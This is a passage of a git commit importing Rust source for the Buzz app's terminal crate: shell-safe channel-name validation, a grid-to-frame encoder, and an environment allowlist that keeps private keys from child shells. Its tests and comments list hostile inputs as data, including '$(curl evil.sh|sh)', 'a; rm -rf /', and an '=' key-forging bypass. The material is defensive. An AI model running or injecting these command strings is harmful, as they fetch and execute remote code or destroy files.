feat: import Chinese-localized Buzz source snapshot
Docker image / Build (linux/amd64) (push) Has been cancelled
Docker image / Build (linux/arm64) (push) Has been cancelled
Docker image / Merge release multi-arch manifest (push) Has been cancelled
Docker image / Merge debug multi-arch manifest (push) Has been cancelled
Docker image / Build public push gateway (linux/amd64) (push) Has been cancelled
Docker image / Build public push gateway (linux/arm64) (push) Has been cancelled
Docker image / Publish public push gateway image (push) Has been cancelled
Sprig image / Build (linux/amd64) (push) Has been cancelled
Sprig image / Build (linux/arm64) (push) Has been cancelled
Sprig image / Merge multi-arch manifest (push) Has been cancelled
Harbor Buzz Orchestra / Python tests and lint (push) Has been cancelled
CI / Detect Changed Paths (push) Has been cancelled
CI / Rust Lint (push) Has been cancelled
CI / Unit Tests (push) Has been cancelled
CI / Desktop Core (push) Has been cancelled
CI / Desktop Smoke E2E (1) (push) Has been cancelled
CI / Desktop Smoke E2E (2) (push) Has been cancelled
CI / Desktop Smoke E2E (3) (push) Has been cancelled
CI / Desktop Smoke E2E (4) (push) Has been cancelled
CI / Desktop (push) Has been cancelled
CI / Desktop E2E Relay (push) Has been cancelled
CI / Desktop E2E Integration (1/2) (push) Has been cancelled
CI / Desktop E2E Integration (2/2) (push) Has been cancelled
CI / Desktop E2E Integration (push) Has been cancelled
CI / Backend Integration (relay e2e) (push) Has been cancelled
CI / Relay E2E (push) Has been cancelled
CI / Web (push) Has been cancelled
CI / Mobile (push) Has been cancelled
CI / Security (push) Has been cancelled
CI / Dead Token Reference Guard (push) Has been cancelled
CI / Server Cross-Compile (aarch64-unknown-linux-musl) (push) Has been cancelled
CI / Server Cross-Compile (x86_64-unknown-linux-musl) (push) Has been cancelled
CI / Windows Rust (x86_64-pc-windows-msvc) (push) Has been cancelled
CI / Desktop Build (macOS) (push) Has been cancelled
helm chart / lint + unittest + render matrix (push) Has been cancelled
helm chart / install on kind (gated) (push) Has been cancelled
helm chart / publish chart to GHCR (push) Has been cancelled
Mesh Lifecycle / Relay-Driven Mesh Lifecycle Smoke (push) Has been cancelled
Sprig / Build (aarch64-unknown-linux-musl) (push) Has been cancelled
Sprig / Build (x86_64-unknown-linux-musl) (push) Has been cancelled
Sprig / Publish rolling release (push) Has been cancelled
Sprig / Publish tagged release (push) Has been cancelled

Signed-off-by: cls_宁波本机 <908705107@qq.com>
This commit is contained in:
2026-08-13 18:34:25 +08:00
parent 61c3fa1df9
commit 9dfa06ffee
3785 changed files with 1085458 additions and 2 deletions
@@ -0,0 +1,18 @@
[package]
name = "buzz-terminal"
version = "0.1.0"
edition = "2021"
license = "Apache-2.0"
[dependencies]
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
portable-pty = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"
[dev-dependencies]
# Tests reach into the grid to prove content survived a frame.
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
@@ -0,0 +1,103 @@
//! GUI context injected into the child shell.
//!
//! The terminal knows which channel and thread the user is looking at, so a
//! script in the substrate can act on it. That context crosses a trust
//! boundary: a channel *name* is attacker-controlled — anyone who can create
//! a channel picks the string — and it lands in an environment variable that
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
//! user opens a terminal.
//!
//! Two rules follow, and the second one is the load-bearing one:
//!
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
//! endless negotiation with an attacker who chooses the input. We accept a
//! conservative character class and reject everything else.
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
//! `evil`, which looks like a real channel. We substitute the channel UUID,
//! which is unambiguous, always safe, and visibly not a name — the user can
//! tell something was replaced.
/// Maximum accepted channel-name length, in characters.
const MAX_CHANNEL_NAME_CHARS: usize = 64;
/// The GUI state a spawned terminal is told about.
#[derive(Debug, Clone)]
pub struct GuiContext {
pub channel_id: String,
pub channel_name: String,
pub thread_id: Option<String>,
pub npub: String,
pub relay_url: String,
pub session_id: String,
}
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
///
/// Unicode letters, digits and marks are accepted so non-Latin channel names
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
/// class and therefore rejected rather than removed.
fn is_safe_channel_name(name: &str) -> bool {
!name.is_empty()
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
&& name
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
}
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
/// the channel UUID.
pub fn channel_display(context: &GuiContext) -> &str {
if is_safe_channel_name(&context.channel_name) {
&context.channel_name
} else {
&context.channel_id
}
}
/// Returns true if `key` is a well-formed POSIX env var name:
/// `[A-Za-z_][A-Za-z0-9_]*`.
///
/// Mirrors `is_well_formed_env_key` in the desktop crate
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
/// `CommandBuilder::env` will pass a key containing `=` straight into the
/// child's environ block, where `getenv("FOO")` matches whatever follows the
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
/// forge a variable the fence otherwise controls.
///
/// Every key we inject is a compile-time literal today, so this cannot fire
/// yet. It is here because the *next* injected key may not be: the check
/// belongs at the boundary, not in the reviewer's memory.
pub fn is_well_formed_env_key(key: &str) -> bool {
let mut chars = key.chars();
match chars.next() {
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
_ => return false,
}
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
}
/// The context variables to inject, in order.
///
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
/// always the UUID, so a script that needs an unambiguous identifier has one
/// that no channel name can spoof.
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
let mut vars = vec![
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
("BUZZ_CHANNEL", channel_display(context).to_owned()),
("BUZZ_NPUB", context.npub.clone()),
("BUZZ_RELAY_URL", context.relay_url.clone()),
("BUZZ_TERM_SESSION", context.session_id.clone()),
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
];
// Absent rather than empty when the user is not in a thread: `-n
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
if let Some(thread_id) = &context.thread_id {
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
}
vars
}
@@ -0,0 +1,139 @@
//! T-1: the channel name is attacker-controlled and reaches a shell.
use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
fn context_named(channel_name: &str) -> GuiContext {
GuiContext {
channel_id: UUID.to_owned(),
channel_name: channel_name.to_owned(),
thread_id: None,
npub: "npub1example".to_owned(),
relay_url: "wss://relay.example".to_owned(),
session_id: "session-1".to_owned(),
}
}
/// Ordinary names survive intact, including non-Latin scripts. A validator
/// that rejected these would be "safe" and useless.
#[test]
fn benign_channel_names_pass_through_unchanged() {
for name in [
"buzz-tui",
"General Chat",
"release_2.0",
"日本語チャンネル",
"Ünicode Ñames",
] {
let context = context_named(name);
assert_eq!(channel_display(&context), name, "rejected a benign name");
}
}
/// Shell metacharacters are rejected — and the substitute is the UUID, not a
/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
/// indistinguishable from a real channel called `evil`.
#[test]
fn hostile_channel_names_are_replaced_by_the_uuid() {
for name in [
"$(curl evil.sh|sh)",
"`id`",
"a; rm -rf /",
"a\nPS1=pwned",
"a$IFS$9",
"x=y",
"'; echo pwned; '",
"a\0b",
] {
let context = context_named(name);
let shown = channel_display(&context);
assert_eq!(
shown, UUID,
"hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
);
}
}
/// The substitution must be *whole*, not a filtered version of the input. A
/// strip-sanitizer passes the "no metacharacters" check while still echoing
/// attacker-chosen text.
#[test]
fn rejection_substitutes_rather_than_strips() {
let context = context_named("$(curl evil.sh|sh)");
let shown = channel_display(&context);
assert!(
!shown.contains("curl") && !shown.contains("evil"),
"attacker-chosen text survived rejection: {shown:?}"
);
}
/// Over-long names are rejected: an env var is not a place for unbounded
/// attacker input, and a 10 KB prompt is its own denial of service.
#[test]
fn over_long_channel_names_are_replaced() {
let context = context_named(&"a".repeat(65));
assert_eq!(channel_display(&context), UUID);
let ok = context_named(&"a".repeat(64));
assert_eq!(channel_display(&ok), "a".repeat(64));
}
/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
/// channel name can spoof — including a channel *named* like a UUID.
#[test]
fn channel_id_is_never_the_name() {
let context = context_named("11111111-2222-3333-4444-555555555555");
let vars = context_vars(&context);
let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
assert_eq!(
id.1, UUID,
"a UUID-shaped channel name displaced the real id"
);
}
/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
#[test]
fn thread_id_is_absent_when_there_is_no_thread() {
let vars = context_vars(&context_named("buzz-tui"));
assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
let mut context = context_named("buzz-tui");
context.thread_id = Some("thread-1".to_owned());
let vars = context_vars(&context);
assert_eq!(
vars.iter()
.find(|(k, _)| *k == "BUZZ_THREAD_ID")
.map(|(_, v)| v.as_str()),
Some("thread-1")
);
}
/// Every injected key must be POSIX-shaped. A key containing `=` would let
/// the value forge a second variable in the child's environ block.
#[test]
fn every_injected_key_is_well_formed() {
for (key, _) in context_vars(&context_named("buzz-tui")) {
assert!(
is_well_formed_env_key(key),
"malformed injected key: {key:?}"
);
}
}
/// The guard itself, including the bypass shape it exists for.
#[test]
fn well_formed_key_rejects_the_equals_bypass() {
for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
assert!(is_well_formed_env_key(good), "rejected {good:?}");
}
for bad in [
"BUZZ_CHANNEL=x",
"",
"1LEADING_DIGIT",
"HAS SPACE",
"HAS\0NUL",
"kebab-case",
] {
assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
}
}
@@ -0,0 +1,490 @@
//! Turning grid changes into frames for the renderer.
//!
//! Two rules shape this module, both measured:
//!
//! 1. **Nothing but reading and copying happens under the `Term` lock.** The
//! caller copies rows out; encoding, hashing and serializing run after the
//! lock is released. Encoding inline costs ~75x in lock hold.
//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every
//! call, so an idle terminal reports damage nearly every frame. Per-line
//! content hashing suppresses those, so the transport never sees a no-op.
//!
//! # Why a frame is the whole viewport
//!
//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls
//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom
//! row damages the whole grid. Partial damage is effectively the idle cursor.
//!
//! That is fine, and the reason is worth having here rather than in a review
//! thread. A full frame is O(viewport) *by construction* -- the grid is itself
//! the coalescing buffer -- so its cost does not depend on how fast the child
//! writes. Measured on a 200x50 grid, bytes per frame across four orders of
//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines
//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a
//! slow build log. Constant to three digits.
//!
//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded,
//! and at 45,759 lines/frame it would ship ~915x more data than the full grid
//! it was optimising. It wins where nobody is watching and loses under `cat`.
//!
//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at
//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s).
//! 400x100 is roughly 4x a typical maximised window and is where this decision
//! should be re-measured -- as a serialization/IPC question, not a damage one.
//!
//! Dedup earns its place in the interactive case rather than the streaming one:
//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across
//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing
//! one -- it is what the substrate does while sitting behind the GUI untouched.
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line};
use alacritty_terminal::term::cell::{Cell, Flags};
use alacritty_terminal::term::TermDamage;
/// A run of cells sharing one visual style **and one cell width**.
///
/// # Why the consumer can position every cluster without Unicode tables
///
/// The renderer must place each display cluster at its true column, and it
/// cannot derive that from the text: no single split rule over a concatenated
/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two
/// ordinary one-column cells, so it must split *per codepoint*; a keycap
/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split
/// *per grapheme*. Those rules disagree, and the distinction lives in the grid,
/// not in the string.
///
/// So the run carries it instead. Within a span every cluster advances the same
/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count)
/// says how many clusters the text holds. The consumer's rule is arithmetic on
/// those two numbers, with no Unicode table anywhere:
///
/// ```text
/// cluster_count == 1 -> the whole text is one cluster, at `column`
/// otherwise -> cluster i is the i-th char, at `column + i * width`
/// ```
///
/// The second case is exact because a cell carrying zerowidth marks is always
/// emitted alone, so every cell in a multi-cluster span contributes exactly one
/// `char`.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Span {
/// First column of the run.
pub column: usize,
/// The run's text. Grapheme clusters are kept whole: a cell's zerowidth
/// combining marks follow its base character, so the renderer never sees
/// a base and its accent as separate glyphs.
pub text: String,
/// Columns each cluster in this run occupies: 1, or 2 for wide glyphs.
///
/// Uniform across the run by construction -- a width change ends the span.
/// This is what lets the consumer position clusters by computed origin
/// rather than by accumulated text advance.
pub width: u8,
/// How many display clusters [`text`](Self::text) holds.
///
/// Without this the consumer cannot distinguish a one-cluster span carrying
/// combining marks from an ordinary multi-character run, and would need a
/// Unicode zerowidth table to guess. The grid already knows, so it says.
pub cluster_count: u16,
/// Packed style: fg, bg, and attribute flags.
pub style: Style,
}
impl Span {
/// The decoding invariant, stated once: a span is either a single cluster
/// (which may hold several `char`s, as a keycap or an accented letter
/// does) or one cluster per `char`.
///
/// Exposed so consumers can assert it at a trust boundary rather than
/// restate it. The encoder checks it in debug builds on every frame.
pub fn counts_are_consistent(&self) -> bool {
self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count()
}
}
/// Visual style of a span, as the renderer needs it.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub struct Style {
pub fg: u32,
pub bg: u32,
pub flags: u16,
}
/// One changed row.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct RowFrame {
pub line: usize,
/// Whether this row continues onto the next screen row without a hard
/// line break. Retained separately from visual style so copy serialization
/// can reconstruct logical lines without exposing geometry flags to spans.
pub wrapped: bool,
pub spans: Vec<Span>,
}
/// The cursor, carried separately from row content.
///
/// Upstream damages the cursor's line on every `damage()` call. If the cursor
/// travelled inside the row payload, every frame would carry a row rewrite for
/// a caret that moved one column. As its own plane it costs a few bytes and
/// leaves row dedup free to suppress the row.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct CursorFrame {
pub line: usize,
pub column: usize,
pub visible: bool,
}
/// One update for the renderer.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Frame {
pub rows: Vec<RowFrame>,
pub cursor: CursorFrame,
/// Whether the cursor plane changed since this encoder's previous frame.
/// Cursor movement can be the only visible effect of input (for example,
/// echoing a space over an already blank cell), so it independently makes
/// an incremental frame publishable.
pub cursor_changed: bool,
/// Whether the renderer should discard what it has and repaint.
pub full: bool,
/// The grid this frame describes. A change means the terminal was resized
/// and row indices refer to a different geometry than the previous frame's.
/// Carried so the consumer can detect that from the frame itself instead of
/// trusting that no resize overtook it in flight -- across a transport, a
/// frame captured before a resize can arrive after it.
pub viewport: crate::Viewport,
}
impl Frame {
/// True when there is nothing for the renderer to do.
pub fn is_empty(&self) -> bool {
self.rows.is_empty() && !self.cursor_changed && !self.full
}
}
/// Raw rows copied out from under the lock, awaiting encode.
pub struct RawFrame {
rows: Vec<(usize, Vec<Cell>)>,
cursor: CursorFrame,
full: bool,
viewport: crate::Viewport,
}
/// The grid line a screen row reads from.
///
/// The grid indexes the active area from 0 and scrollback with *negative*
/// lines, so scrolling back `n` lines means every screen row reads `n` lines
/// higher. At the live edge the offset is zero and this is the identity, which
/// is why the unscrolled path is unchanged rather than merely equivalent.
fn row_of(screen_row: usize, display_offset: usize) -> Line {
Line(screen_row as i32 - display_offset as i32)
}
/// Where the cursor sits on screen, given how far the viewport is scrolled
/// back.
///
/// The grid keeps the cursor in *active-area* coordinates, which do not move
/// when the user scrolls; the renderer paints *screen rows*, which do. The two
/// agree only at the live edge, so the conversion has to happen somewhere, and
/// it happens here rather than in the renderer -- the renderer is not told the
/// display offset, and giving it one would put this same arithmetic on the far
/// side of a transport.
///
/// Scrolling far enough pushes the cursor off the bottom of the viewport, and
/// then it is reported as not visible. Without that clamp a caret drawn at a
/// clamped row would sit on some unrelated line of history, which reads as
/// corruption rather than as scrollback.
fn cursor_frame(
cursor_point: alacritty_terminal::index::Point,
display_offset: usize,
screen_lines: usize,
shown: bool,
) -> CursorFrame {
let line = cursor_point.line.0.max(0) as usize + display_offset;
CursorFrame {
line: line.min(screen_lines.saturating_sub(1)),
column: cursor_point.column.0,
visible: shown && line < screen_lines,
}
}
/// Copy the damaged rows out of the terminal. **Runs under the lock; does no
/// encoding.** Keep this function boring — everything added here is lock hold.
pub fn capture(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
// Upstream's partial iterator already reports **screen** rows: it offsets
// each damaged active-area line by the display offset and drops the ones
// that scrolling pushed off the bottom (`TermDamageIterator::new`). So both
// arms below speak the same coordinate, and `row_of` converts once.
let (lines, full) = match term.damage() {
TermDamage::Full => ((0..screen_lines).collect::<Vec<_>>(), true),
TermDamage::Partial(iter) => (
iter.map(|bounds| bounds.line)
.filter(|l| *l < screen_lines)
.collect(),
false,
),
};
let grid = term.grid();
let mut rows = Vec::with_capacity(lines.len());
for line in lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
term.reset_damage();
RawFrame {
rows,
cursor,
full,
viewport,
}
}
/// Copy the **entire visible viewport**, leaving damage untouched.
///
/// This exists for subscribers that arrive mid-stream: attach, reattach, and
/// the successor side of a resize. Damage only describes what changed since
/// the last capture, so a newcomer that starts from [`capture`] sees whatever
/// happened to change next -- often just the cursor's line -- painted onto a
/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder
/// cannot ask for a full frame that way.
///
/// **It must not consume damage, and that is the load-bearing property.** The
/// incumbent subscriber's next [`capture`] has to still see its rows. If this
/// called `damage()`/`reset_damage()` it would steal them, and the incumbent
/// would freeze on stale content while a newcomer's full-frame test passed.
/// The absence of those two calls below is the mechanism; `snapshot_test.rs`
/// is the proof.
///
/// **Runs under the lock; does no encoding.** Costs a full grid copy rather
/// than a damaged-rows copy, so it belongs on attach, not in the frame loop.
pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
let grid = term.grid();
let mut rows = Vec::with_capacity(screen_lines);
for line in 0..screen_lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
// No `damage()` and no `reset_damage()`: see the note above.
RawFrame {
rows,
cursor,
// A snapshot *is* a repaint, and marking it full also resets the
// consumer's `Encoder` hashes, so its dedup state describes the grid it
// was actually given rather than a predecessor's.
full: true,
viewport,
}
}
/// Suppresses rows whose content did not actually change.
#[derive(Default)]
pub struct Encoder {
hashes: Vec<u64>,
cursor: Option<CursorFrame>,
}
impl Encoder {
pub fn new() -> Self {
Self::default()
}
/// Encode a captured frame. **Runs with the lock released.**
pub fn encode(&mut self, raw: RawFrame) -> Frame {
// A full frame invalidates the dedup cache. Both routes that produce
// one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize,
// where the cached hashes describe rows of a different width entirely.
if raw.full {
self.hashes.clear();
}
let mut rows = Vec::with_capacity(raw.rows.len());
for (line, cells) in raw.rows {
let hash = hash_cells(&cells);
if self.hashes.len() <= line {
self.hashes.resize(line + 1, 0);
}
if self.hashes[line] == hash {
continue;
}
self.hashes[line] = hash;
rows.push(RowFrame {
line,
wrapped: cells
.last()
.is_some_and(|cell| cell.flags.contains(Flags::WRAPLINE)),
spans: spans(&cells),
});
}
let cursor_changed = self.cursor != Some(raw.cursor);
self.cursor = Some(raw.cursor);
Frame {
rows,
cursor: raw.cursor,
cursor_changed,
full: raw.full,
viewport: raw.viewport,
}
}
}
fn hash_cells(cells: &[Cell]) -> u64 {
let mut hasher = DefaultHasher::new();
for cell in cells {
cell.c.hash(&mut hasher);
// Hash the *packed* colors, not the enum: this is the representation
// the renderer receives, so the dedup key cannot disagree with the
// wire encoding and suppress a row that actually changed on screen.
pack_color(cell.fg).hash(&mut hasher);
pack_color(cell.bg).hash(&mut hasher);
cell.flags.bits().hash(&mut hasher);
if let Some(zerowidth) = cell.zerowidth() {
zerowidth.hash(&mut hasher);
}
}
hasher.finish()
}
/// Group a row's cells into runs of uniform style and width.
///
/// A run continues only while style *and* width match, and a cell carrying
/// zerowidth marks is always emitted alone. Both breaks exist so the consumer
/// can compute each cluster's column as `column + i * width`; see [`Span`].
///
/// The width comparison is the only thing keeping widths uniform within a run:
/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot
/// break a run on width behind this check's back.
fn spans(cells: &[Cell]) -> Vec<Span> {
let mut spans: Vec<Span> = Vec::new();
// Whether the run in progress may still be extended. Kept here rather than
// on `Span` because it is grouping bookkeeping, not part of the wire shape.
let mut open = false;
for (column, cell) in cells.iter().enumerate() {
// A wide glyph occupies two cells: the character, then a spacer. The
// spacer carries no text of its own -- emitting its placeholder space
// would insert a phantom column after every CJK character or emoji.
if cell.flags.contains(Flags::WIDE_CHAR_SPACER) {
continue;
}
let style = style_of(cell);
let width = if cell.flags.contains(Flags::WIDE_CHAR) {
2
} else {
1
};
let zerowidth = cell.zerowidth();
let mut text = String::new();
text.push(cell.c);
if let Some(marks) = zerowidth {
text.extend(marks);
}
// A cluster with combining marks holds more `char`s than columns, so it
// cannot share a run: it is the one case where "one char per cluster"
// stops holding.
let joinable = zerowidth.is_none();
match spans.last_mut() {
// `cluster_count` is refused rather than wrapped when it would
// overflow: the run simply ends and a new span starts at this
// column, which the consumer's rule already handles.
Some(last)
if open
&& joinable
&& last.style == style
&& last.width == width
&& last.cluster_count < u16::MAX =>
{
last.text.push_str(&text);
last.cluster_count += 1;
}
_ => spans.push(Span {
column,
text,
width,
cluster_count: 1,
style,
}),
}
open = joinable;
}
// Enforced in release, not just in debug. This is a *wire* invariant: a
// span that violates it is undecodable by the rule in [`Span`], and the
// consumer's failure is silent misplacement of every cluster after it.
// A `debug_assert` here would vanish in exactly the build where that
// corruption ships. The cost is one pass over text already in cache --
// the same order as building the spans -- and it buys a loud, local
// failure instead of a renderer quietly drawing the wrong columns.
assert!(
spans.iter().all(Span::counts_are_consistent),
"cluster_count must be 1 or the span's char count"
);
spans
}
/// Flags describing where a cell sits in the grid rather than how it looks.
///
/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char
/// bits mark a two-column glyph and its spacer. Neither says anything about
/// appearance.
///
/// These are excluded from [`Style`] so the style key means one thing: visual
/// attributes. Geometry travels in [`Span::width`], which is compared on its
/// own when grouping -- if these bits stayed in the key they would break runs
/// as a side effect and leave the width comparison untestable.
///
/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are
/// deliberately not masked: those are appearance.
const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE
.union(Flags::WIDE_CHAR)
.union(Flags::WIDE_CHAR_SPACER)
.union(Flags::LEADING_WIDE_CHAR_SPACER);
fn style_of(cell: &Cell) -> Style {
Style {
fg: pack_color(cell.fg),
bg: pack_color(cell.bg),
flags: cell.flags.difference(GEOMETRY_FLAGS).bits(),
}
}
/// Pack a color into a tagged u32 the renderer resolves against the theme.
///
/// Named and indexed colors stay symbolic rather than being resolved here:
/// the substrate must follow the user's chosen theme, so the palette belongs
/// to the renderer, not to a snapshot taken at damage time.
fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 {
use alacritty_terminal::vte::ansi::Color;
match color {
Color::Named(named) => 0x0100_0000 | named as u32,
Color::Indexed(index) => 0x0200_0000 | index as u32,
Color::Spec(rgb) => {
0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32
}
}
}
@@ -0,0 +1,85 @@
//! Environment fence for spawned PTY children.
//!
//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
//! `:74`), so a shell spawned with the default builder inherits **all** of it:
//! the user types `env` and reads the signing key off the screen.
//!
//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
//! demonstrates the failure mode this module exists to prevent. It removed
//! seven Hermit/macOS keys by denylist under a comment promising "a clean
//! environment" and passed 68 variables — including the nsec — to the child.
//! A denylist is only as current as the last time someone remembered to
//! extend it; it was correct for the polluted-`PATH` threat it was written
//! for and became a key-disclosure bug when the app started holding secrets.
//!
//! So: **allowlist, never denylist.** Clear the inherited environment
//! wholesale, then rebuild only what a terminal legitimately needs.
use portable_pty::CommandBuilder;
/// Keys the child is allowed to inherit from Buzz's own environment.
///
/// Deliberately minimal: each entry is something a shell genuinely cannot
/// function without, or that visibly degrades the session by its absence.
/// Anything not listed here does not reach the child, including keys that do
/// not exist yet — which is the property a denylist cannot offer.
const INHERIT_ALLOWLIST: &[&str] = &[
"HOME", // shell startup files, ~ expansion
"USER", // prompt expansion, `whoami`-adjacent tooling
"LOGNAME", // POSIX companion to USER
"LANG", // UTF-8 decoding of the child's own output
"LC_ALL", // explicit locale override, when set
"LC_CTYPE", // character classification; wide/emoji handling
"TZ", // timestamps in prompts and logs
"TMPDIR", // per-user temp dir; absence breaks many tools on macOS
];
/// Values Buzz sets on the child unconditionally, overriding any inherited
/// value. `TERM` in particular must describe *our* emulator, not whatever
/// terminal happened to launch the desktop app.
const OVERRIDES: &[(&str, &str)] = &[
("TERM", "xterm-256color"),
("TERM_PROGRAM", "Buzz"),
("COLORTERM", "truecolor"),
];
/// Applies the environment fence to `cmd`, returning it for chaining.
///
/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
/// discards every accumulated entry, so clearing *after* populating yields a
/// child with an empty environment and no error anywhere. Clear first, then
/// rebuild.
///
/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
/// actually spawn are different values in exactly the cases the resolution
/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
/// `$SHELL` that fails the executable-regular-file check — so inheriting it
/// would tell the child it is running something it is not.
pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
// 1. Drop the inherited environment wholesale, secrets included.
cmd.env_clear();
// 2. Rebuild only the allowlisted keys that are actually present.
for key in INHERIT_ALLOWLIST {
if let Some(value) = std::env::var_os(key) {
cmd.env(key, value);
}
}
// 3. Apply Buzz's own terminal identity.
for (key, value) in OVERRIDES {
cmd.env(key, value);
}
// 4. PATH is supplied by the caller rather than inherited; see
// `path::user_shell_path`.
cmd.env("PATH", path);
// 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
// `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
// explicit entry is the one the child sees.
cmd.env("SHELL", shell);
}
@@ -0,0 +1,362 @@
//! Secret-leak gate for the environment fence.
//!
//! These tests spawn a real PTY child and read its actual environment. An
//! assertion against the `CommandBuilder` alone would be weaker: it would not
//! prove that what the builder holds is what the kernel hands the child.
use crate::env_fence::fence_env;
use crate::path::user_shell_path;
use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
use std::io::Read;
/// Secrets Buzz's own process holds. Sourced from the desktop crate's
/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
/// rather than imported because this crate deliberately has no dependency
/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
const SECRET_KEYS: &[&str] = &[
"BUZZ_PRIVATE_KEY",
"NOSTR_PRIVATE_KEY",
"BUZZ_AUTH_TAG",
"BUZZ_API_TOKEN",
"BUZZ_ACP_PRIVATE_KEY",
"BUZZ_ACP_API_TOKEN",
"BUZZ_RELAY_URL",
];
const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
/// be able to run it.
const CANARY_BIN: &str = "buzz-hermit-canary-tool";
/// Creates a fixture file at `name` with `mode`, replacing any leftover from
/// a previous run.
///
